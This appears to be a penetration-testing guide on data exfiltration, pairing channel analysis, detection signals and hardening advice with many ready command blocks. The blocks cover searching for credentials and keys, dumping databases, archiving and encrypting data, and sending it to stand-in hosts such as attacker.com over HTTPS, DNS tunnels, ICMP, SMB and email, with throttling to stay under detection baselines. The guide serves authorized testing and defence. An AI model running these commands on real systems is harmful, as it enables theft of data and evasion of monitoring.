17 min read

Post-Exploitation

Data Exfiltration

Exfiltration proves the impact of everything before it. The technique matters less than the two questions the objective really asks: which channel leaves this estate at all, and how little data proves the point.

Warning

Only exfiltrate with explicit authorization, and agree the data-handling rules before the first file moves: what may leave the network, where it is stored, who can read it, and when it is destroyed. Never take real PII or PHI when a synthetic sample or a file listing proves the same thing.

Data exfiltration pipeline: discovery, collection, staging, transfer, evidence

Which Channel Survives What

There are two independent controls in front of you and they fail differently. Egress filtering decides by destination: if only an allow-list of hosts is reachable, the technique is irrelevant and the channel has to be one of them. DLP decides by content: it reads what is being sent, so it can block a file it recognises and cannot read a file it does not. Defeating one does nothing about the other, which is why "we have DLP" and "we block egress" are different findings.

Channel Beats Stopped by Practical rate
HTTPS POST to an allow-listed host Content DLP (if encrypted), destination filtering TLS inspection with a proxy CA, or a CASB seeing an unmanaged device Fast — MB/s
DNS queries Almost every egress rule, because resolution must work Entropy and label-length analytics, or a resolver that only forwards to a known set KB/s
Cloud storage / SaaS upload Allow-lists, because the service is already approved CASB policy on volume and device, or tenant-side audit Fast
ICMP tunnel Destination filtering, sometimes ICMP blocked at the perimeter, or payload-size baselines KB/s
SMTP through the corporate relay Egress rules, because the relay is permitted Attachment DLP at the relay, and mailbox audit Slow, size-capped
Encrypted archive, any channel Content inspection — the archive is unreadable A DLP rule that blocks unreadable archives, plus the archive creation itself Channel-dependent

Encrypting before sending is the standard move, and it should be read as a trade rather than a bypass. Archive creation is a visible process (7z, rar, Compress-Archive) over a directory that should not be compressed, and many DLP products are configured to quarantine or alert on archives they cannot inspect precisely because that is what an exfiltration looks like. The channel that actually survives most estates is the one already carrying the business's data — an approved SaaS destination over HTTPS — because blocking it costs the client more than the exfiltration does.

Data Discovery

Discovery is how the objective gets translated into a file list: find what the engagement said matters — the finance share, the HR drive, the customer database — rather than whatever is easiest to read. A broad content search across C:\Users produces thousands of hits and no finding, so scope the search to the shares and databases the client named and then prove access to a handful of files.

Windows File Search

windows-discovery.ps1
# Search for sensitive files
dir /s /b C:\*password*.txt C:\*password*.xlsx C:\*credential* 2>nul
dir /s /b C:\*.kdbx C:\*.key C:\*.pem C:\*.pfx 2>nul

# PowerShell search
Get-ChildItem -Path C:\ -Recurse -Include *password*,*credential*,*secret* -ErrorAction SilentlyContinue

# Search file contents
findstr /s /i /m "password" C:\Users\*.txt
findstr /s /i /m "api_key\|secret\|token" C:\Users\*.config

# PowerShell content search
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.config | Select-String -Pattern "password","secret","key" | Select-Object Path,LineNumber,Line

Linux File Search

linux-discovery.sh
# Find sensitive files
find / -name "*.conf" -o -name "*.config" -o -name "*password*" 2>/dev/null
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
find /home -name ".bash_history" -o -name ".mysql_history" 2>/dev/null

# Search file contents
grep -r "password" /etc/ 2>/dev/null
grep -r "password\|secret\|api_key" /var/www/ 2>/dev/null

# Find recent files
find / -type f -mtime -7 -name "*.xlsx" -o -name "*.docx" 2>/dev/null

Network Share Discovery

Shares are where the data usually is, and the finding is usually the share permission rather than the file: a finance share readable by Domain Users is the defect, and one readable file from it is the proof.

share-discovery.ps1
# Enumerate shares
net view \\server
net share

# PowerView
Find-DomainShare -CheckShareAccess
Find-InterestingDomainShareFile

# nxc
nxc smb 10.10.10.0/24 -u user -p pass --shares
nxc smb 10.10.10.0/24 -u user -p pass -M spider_plus

# Search for interesting files on shares
smbclient //server/share -U user%pass -c 'recurse;ls'

Database Discovery

database-discovery.ps1
# MySQL
mysql -u root -p -e "SHOW DATABASES;"
mysqldump -u root -p database_name > dump.sql

# MSSQL
sqlcmd -S localhost -U sa -P password -Q "SELECT name FROM sys.databases"
sqlcmd -S localhost -U sa -P password -Q "SELECT * FROM sensitive_table" -o output.csv

# PowerUpSQL
Get-SQLInstanceDomain | Get-SQLServerInfo
Get-SQLInstanceDomain | Get-SQLDatabase

# Extract from web configs
findstr /s /i "connectionstring" C:\inetpub\*.config

Data Collection & Staging

Staging is the step that gets operators caught: it is a large archive appearing on disk, usually in a temporary directory, often at an hour when nobody is working. Stage on the host that already holds the data, keep the staged set to what the report will actually cite, and prefer a database export (SELECT … INTO OUTFILE, mysqldump) over copying an entire data directory.

Archiving Data

archiving.ps1
# Windows - Compress for exfil
Compress-Archive -Path C:\Loot\* -DestinationPath C:\Temp\data.zip

# With password (7-Zip)
7z a -p"password" -mhe=on data.7z C:\Loot\*

# Linux
tar -czvf data.tar.gz /path/to/files
zip -r -e data.zip /path/to/files

# Split large files
split -b 50M data.tar.gz data_part_

Encoding/Encryption

Base64 is encoding, not evasion — it makes the payload larger by a third and defeats no content inspection worth the name. Encryption is what defeats inspection; the hash you take before encrypting is what lets the report prove the file that left was the file the client agreed to.

encoding.sh
# Base64 encode
# Windows
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\data.zip")) > encoded.txt
certutil -encode data.zip encoded.txt

# Linux
base64 data.tar.gz > encoded.txt
cat data.tar.gz | gzip | base64

# Encrypt with OpenSSL
openssl enc -aes-256-cbc -salt -in data.tar.gz -out data.enc -k password

# GPG encryption
gpg -c --cipher-algo AES256 data.tar.gz

Exfiltration Methods

Warning

The authorisation attaches to the file, not to the technique. A channel test needs one agreed sample; it does not need the finance share. If the objective says "prove data can leave", a generated 1 MB file and a listing of the real directory is the proof, and it is the version the client can put in their report without a legal review.

HTTP/HTTPS

The default because it is the traffic the estate already makes. To an allow-listed or categorised destination it needs no trick at all; to a host the client has never heard of it survives only if there is no TLS inspection, and the destination's reputation is what the proxy is judging.

http-exfil.sh
# Simple HTTP POST
curl -X POST -F "file=@data.zip" https://attacker.com/upload

# PowerShell
$bytes = [IO.File]::ReadAllBytes("C:\data.zip")
Invoke-WebRequest -Uri "https://attacker.com/upload" -Method POST -Body $bytes

# Python HTTP server (receiver)
python3 -m http.server 8080  # For downloads
# For uploads use custom script or tools like updog

# wget POST
wget --post-file=data.zip https://attacker.com/upload

DNS Exfiltration

Information

DNS is the channel that keeps working when HTTP/HTTPS is blocked, because name resolution has to keep working. It is also slow enough that the volume decision is made for you.

Data goes in the subdomain: one label is up to 63 characters and a name is up to 253, so each query carries a few dozen bytes of payload once encoding is accounted for. What a resolver-based detection looks for is not the destination but the shape — long, high-entropy labels under one parent domain, at a steady rate, from a host that otherwise resolves nothing unusual.

dns-exfil.sh
# DNScat2 Server
dnscat2-server attacker.com

# DNScat2 Client (on target)
./dnscat attacker.com

# Manual DNS exfil (encode data in subdomains)
# Max ~63 chars per label, ~253 total
# Base64 encode and chunk
for chunk in $(cat data.b64 | fold -w50); do
  nslookup $chunk.exfil.attacker.com
done

# Iodine (DNS tunnel)
# Server
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
# Client
iodine -f -P password tunnel.attacker.com

ICMP Exfiltration

icmp-exfil.sh
# ptunnel (ICMP tunnel)
# Server
ptunnel-ng -s

# Client
ptunnel-ng -p proxy_ip -l 8000 -r attacker.com -R 22

# Manual ICMP exfil (PowerShell)
$ping = New-Object System.Net.NetworkInformation.Ping
$data = [System.Text.Encoding]::ASCII.GetBytes("secretdata")
$ping.Send("attacker_ip", 1000, $data)

Cloud Storage

Uploading to object storage or a SaaS drive is the quietest option in a cloud-connected estate, because the destination is legitimate and the traffic is indistinguishable from normal use until somebody looks at the volume. It is also the option most likely to be blocked by a CASB rather than by a firewall, and tenant-side audit logs will show the upload regardless of what the network saw.

cloud-exfil.sh
# AWS S3
aws s3 cp data.zip s3://exfil-bucket/

# Azure Blob
az storage blob upload --container-name exfil --file data.zip --name data.zip

# Rclone (supports many providers)
rclone copy data.zip remote:exfil/

# Google Drive (using gdrive)
gdrive upload data.zip

SMB/WebDAV

smb-exfil.ps1
# Copy to SMB share
copy data.zip \\attacker\share\
xcopy /s C:\Loot \\attacker\share\Loot

# Mount WebDAV and copy
net use Z: https://attacker.com/webdav /user:user pass
copy data.zip Z:\

# Linux SMB
smbclient //attacker/share -U user -c 'put data.zip'

Email

Email survives more egress rules than anything else because the relay is always permitted, and it fails on the one control that matters: attachment inspection at the relay. It is also the most attributable channel — the message sits in a mailbox with a timestamp and a recipient.

smtp-exfil.ps1
# PowerShell SMTP
$smtp = New-Object Net.Mail.SmtpClient("smtp.company.com")
$msg = New-Object Net.Mail.MailMessage
$msg.From = "user@company.com"
$msg.To.Add("attacker@external.com")
$msg.Subject = "Report"
$attachment = New-Object Net.Mail.Attachment("C:\data.zip")
$msg.Attachments.Add($attachment)
$smtp.Send($msg)

# swaks (command line)
swaks --to attacker@external.com --from user@company.com --server smtp.company.com --attach data.zip

Covert Channels

Covert channels hide the fact that a transfer is happening rather than the content of it, and they are worth using when the network controls are strong and the data is small. Steganography moves bytes inside an image that will be uploaded and viewed normally; alternate data streams hide a file inside another file on NTFS without changing what the outer file appears to be.

Steganography

steganography.sh
# Hide data in images
steghide embed -cf image.jpg -ef secret.txt

# Extract
steghide extract -sf image.jpg

# OpenStego
openstego embed -mf secret.txt -cf cover.png -sf output.png

Alternate Data Streams (Windows)

ads-exfil.ps1
# Hide file in ADS
type secret.txt > innocent.txt:hidden

# Read from ADS
more < innocent.txt:hidden

# List ADS
dir /r
Get-Item -Path innocent.txt -Stream *

Exfiltration Tools

PacketWhisper

packetwhisper.sh
# DNS-based exfiltration using random DNS queries
# Evades signature detection by using real DNS lookups

# Transmit
python3 packetWhisper.py

# Select cipher, payload, and DNS server options

DET (Data Exfiltration Toolkit)

det.sh
# Supports multiple protocols: HTTP, DNS, ICMP, SMTP, Slack, etc.

# Server
python det.py -c config.json -L

# Client (send file)
python det.py -c config.json -f secret.zip

Cloakify

cloakify.sh
# Transform data to look like lists (IPs, words, etc.)
python cloakify.py secret.zip ciphers/pokemonNames > pokemon.txt

# Decloakify
python decloakify.py pokemon.txt ciphers/pokemonNames

What the Volume Implies

Volume is where an exfiltration stops being a demonstration and becomes a network event. Do the arithmetic before you start: at 100 KB/s a gigabyte takes about three hours and ten gigabytes about 29 hours, while a DNS channel at a realistic 2 KB/s needs roughly six days for that same gigabyte. The channel and the data size have to be chosen together, and if they do not fit, the data is wrong — not the channel.

At this rate 100 MB 1 GB 10 GB
1 MB/s (HTTPS, cloud) ~2 min ~17 min ~2.9 h
100 KB/s (throttled, shared link) ~17 min ~2.9 h ~29 h
2 KB/s (DNS tunnel) ~14 h ~6 days —
Attachment over SMTP Often already blocked Usually rejected Not viable

In practice "proof of access" is a handful of files the client can name — a spreadsheet, a database export, a screenshot of the directory listing — and the volume is what makes the transfer visible to a volume-anomaly rule. Throttling below the baseline is the point of the commands below, not a courtesy: a 40 GB pull at line rate is a guaranteed detection and adds nothing to the finding.

Bandwidth Considerations

throttle.sh
# Throttle exfiltration to avoid detection
# Split and delay transfers

# Linux - rate limit
rsync --bwlimit=100 data.tar.gz attacker:/exfil/

# Windows PowerShell - chunked transfer
$chunkSize = 1MB
$file = [IO.File]::OpenRead("C:\data.zip")
$buffer = New-Object byte[] $chunkSize
while (($read = $file.Read($buffer, 0, $chunkSize)) -gt 0) {
    # Send chunk
    Start-Sleep -Seconds 30  # Delay between chunks
}

# curl rate limit
curl --limit-rate 100K -F "file=@data.zip" https://attacker.com/upload

Documentation Template

The log is the evidence: timestamp, source host, data type, size, channel and destination, with the hash of what was staged. It is also the record a regulator will ask for, which is why the last two lines — do not keep the data, screenshot the proof — belong in it.

exfil-log.txt
# Data Exfiltration Log
| Timestamp | Source System | Data Type | Size | Method | Destination |
|-----------|---------------|-----------|------|--------|-------------|
| 2024-01-15 10:30 | DC01 | NTDS.dit | 500MB | HTTPS | C2 Server |
| 2024-01-15 11:45 | FILESERV | Financials | 2GB | SMB | Attack Box |
| 2024-01-15 14:00 | SQLSRV | DB Dump | 100MB | DNS | Exfil Server |

# Important: Document but DO NOT keep actual sensitive data
# Screenshots and logs as proof, delete actual data

Danger

Delete all exfiltrated data after documentation. Never retain client PII, PHI, financial data, or other sensitive information beyond engagement requirements.

What the Defender Sees

Detection of exfiltration is a volume-and-shape problem, not a signature problem, and the controls that catch it sit at three different layers. Network: a host uploading to a destination no other host in the estate talks to, or an unusual volume to a destination many hosts use. Namespace: DNS query length, label entropy, and the count of NXDOMAIN responses as a client probes for a tunnel endpoint. Endpoint: the archive landing on disk, and the process that created it.

Signal Where it comes from What it catches
Volume anomaly per host Proxy / firewall flow logs Any slow-and-steady transfer once it exceeds the host's baseline — the reason to throttle is to stay under it.
Novel destination Proxy logs, DNS A server talking to object storage or a VPS it has never used. Cheaper to detect than volume.
Long, high-entropy labels DNS resolver logs DNS tunnelling, because normal names are short and repeat.
Archive created over a share Sysmon 11 / 4688 / 5145 7z, rar or Compress-Archive writing a large file next to data that should not be compressed.
Uninspectable archive at egress DLP / CASB Encrypted archives, if the rule exists — which is the control to test and report on.
Cloud upload from an unmanaged device CASB, tenant audit logs The channel that beats egress filtering, caught on the identity and device rather than the network.

Tip

Report the control you tested, not the data you moved. "DLP did not block an encrypted archive to an allow-listed destination" is a finding; "we exfiltrated 2 GB" is a headline. The former has a remediation, the latter has a legal review.

Evidence Collection

Control tested: Name the control and the result: "DLP did not block an encrypted archive to an allow-listed SaaS destination" — not the volume moved.

Log entry: One row per transfer from the template below: timestamp, source, data type, size, channel, destination.

Data provenance: Where the file came from and what the client said it was — a synthetic sample plus the file listing is enough for most findings.

Hash and disposition: SHA-256 of what was staged, and confirmation that the client’s copy was deleted after the report was written.

CVSS range: Confirmed egress of client data: 7.5–8.6, adjusted by data classification and whether the channel was an approved service.

False Positive Identification

  • Business SaaS traffic: A finance team uploading to an approved tenant looks like exfiltration at the network layer. Destination reputation and tenant ownership decide, not volume.
  • A backup or sync agent: Endpoint agents push data out continuously and by design. Check the process, its signing certificate and whether the destination is the vendor’s.
  • DNS query volume: A resolver cache miss storm or a misconfigured client produces high NXDOMAIN counts. Entropy per label and label length separate a tunnel from noise.
  • An archive created by an administrator: Admins compress shares for legitimate reasons. The finding is an uninspectable archive leaving the estate, not an archive existing.
  • A blocked transfer: A DLP block is the control working. Report it as a control that held, and look for the channel that was not blocked.
  • TLS-inspected traffic that looks unreadable: If the proxy terminates TLS, the payload is inspectable and the finding may be about the DLP rule rather than the channel.

Testing Checklist

Before the first byte

  • ☐ Confirm in writing what may leave, where it is stored, who can read it and when it is destroyed
  • ☐ Agree the smallest proof: a file listing or synthetic sample beats real PII every time
  • ☐ Map the egress allow-list first — it decides the channel more than the technique does

Proving the channel

  • ☐ Send one small file through the candidate channel and capture the packet or proxy log
  • ☐ Measure the rate and note whether throttling was needed to stay under a baseline
  • ☐ Record the DLP/CASB verdict for that exact file
  • ☐ Delete the data after hashing and logging it, and note the deletion in the report

Remediation & Hardening

Control the destination

  • • Default-deny egress and allow-list by service, not by port — the channel that survives most estates is an approved SaaS destination
  • • Log proxy flow volume per host so a baseline exists to deviate from
  • • Block direct-to-IP and unresolved-hostname traffic from servers

Control the content

  • • Treat uninspectable archives as a block condition, not a warning — that is the control an exfiltration test exercises
  • • Extend DLP to the browser and the SaaS tenant, where network inspection cannot see the upload
  • • DNS analytics on label length and entropy, with a resolver that only forwards to known domains

Make the response possible

  • • Alert on archive creation over a share where archiving is not a business function
  • • Join CASB and tenant audit logs to the same identity timeline as the proxy
  • • Decide in advance who may authorise a data-handling exception, so the test does not stall mid-engagement